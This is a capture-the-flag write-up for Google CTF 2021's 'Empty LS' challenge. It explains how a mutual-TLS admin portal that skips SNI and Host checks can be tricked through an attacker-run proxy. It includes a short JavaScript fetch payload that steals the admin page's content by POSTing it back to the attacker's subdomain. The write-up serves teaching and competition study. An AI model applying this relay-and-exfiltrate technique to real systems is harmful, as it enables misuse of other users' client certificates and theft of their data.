Tags: tls web 

Rating: 4.5


The challenge revolves around two domains, one is `https://www.zone443.dev`, a website to register accounts and custom sub-domains, and `https://admin.zone443.dev`, an "admin portal" and supposedly where we should get the flag.

The credential authentication for this website is unusual because it did not use the traditional username/password or cookies, but instead a process called *mTLS*, which stands for Mutual TLS. Basically what that means is when connecting to a server, the client also present a certificate that can achieve two things:

1. Validate the identity of the client, and
2. Use the certificate to encrypt the communication.

Unlike cookies or password, it is quite hard to steal the identity of the client using mTLS, because the private key is kept safe and the only way to get it is to somehow take control over the client's machine. However, the client's using the latest headless Chrome, so no more Chrome 0-days for us. Also there might be some vulnerabilities in the mTLS implementation, but since this is a `web` challenge not a `crypto` one, that possibility is also highly unlikely.

## Observations

A few important observations are made:

- `https://admin.zone443.dev` is behind a server that doesn't validate Server Name Indication in TLS Client Hello and `Host` field in HTTP request, it only uses the client certificate for application-level credential purpose;
- `https://admin.zone443.dev` is using a wildcard certificate with Subject Alternative Name including host `*.zone443.dev`;
- We have total control over the sub-domain we applied for, including applying for a valid TLS certificate; and
- By filling out sub-domain address into the feedback form, a headless Chrome will request our sub-domain with the admin's certificate.

Combining 1 and 2, we realized that **any** TLS requests will be accepted by the server. And using 3 and 4, it is possible to obtain a copy of admin's TLS handshake and the following communication.

There are some other hints that the challenge gives, which is when you try to access `admin.zone443.dev` with your own client certificate that you applied for, a message will tell you that you are not authorized. Therefore, it must be that only when we access the website with the admin's client cert, we shall get the flag.

There is clearly some Man-in-the-Middle attack going on. A replay attack won't work as the TLS's cipher key is generated randomly each time. However, notice that the website is accessed using a headless Chrome, meaning that it should also be executing anything ranging from `iframe` to `script` on our controlled sub-domain.

## Exploit

Embedding a JavaScript that fetches the content of `admin.zone443.dev` on our controlled site using admin's cert seems to be a good idea, but it is impossible to steal the content because of the Cross-Origin Resource Sharing policy. However, CORS enforces this by checking the domain name on the client site, is there a way to circumvent this protection?

This is a scenario that is very like DNS rebinding, where we have to trick the client into thinking it's accessing the same domain name, so no CORS in effect, but in fact it's using its credentials on another website.

Notice that we have control over the entire sub-domain, and that the `admin.` site doesn't validate SNI nor Host, meaning we can **set up a proxy in the back-end that redirects anything sent from the client to `admin.zone443.dev:443` and back**. Although we aren't able to intercept anything of the actual communication because of TLS encryption, we can **acquire the content in the front-end** and send the data back to ourselves.

That means we can first make the admin access our controlled sub-domain `https://xxx.zone443.dev/`, so that it will execute a JavaScript payload on our website. The payload looks something like this:

fetch(new Request('/')).then(resp => resp.text()).then(body =>
return fetch(new Request('/', {
method: "POST",
body: body,

This script will try to fetch the content on the **same** domain name `https://xxx.zone443.dev/`, but as we set up a proxy already, the request is actually sent over to `admin.zone443.dev:443` and back. Then the acquired content will be send again back to our server via a `POST` request, where we will be able to see what the content on the `admin.` is like to the admin's side.

In the actual payload, we can keep track of the TCP requests made, so on the first and third request, we use our own TLS cert and server to handle the request, but on the second request, we will redirect the address to `admin.` so that the content can be stolen. Notice that this is not as time-sensitive as a normal DNS rebinding would be, as there is no "caching" mechanism for TLS connections. Although a potential HTTP2 Multiplexing might be affecting the result, I didn't really encounter that in my exploit, and it can be easily mitigated by closing the connection on the server side.

The exploit is easy to write with the help of Go's built-in `tls` and `http` packages.


The exploit is over here [EMPTY LS, Google CTF 2021](https://gist.github.com/superfashi/5ad6d7ea91357611fb7b2fb64138fc43). It is not host dependent, so you can simply run it without changing anything (other than to put X.509 cert/key pair in the right place).

Original writeup (https://www.cis.upenn.edu/~hanbangw/blog/google-ctf-2021/#empty-ls).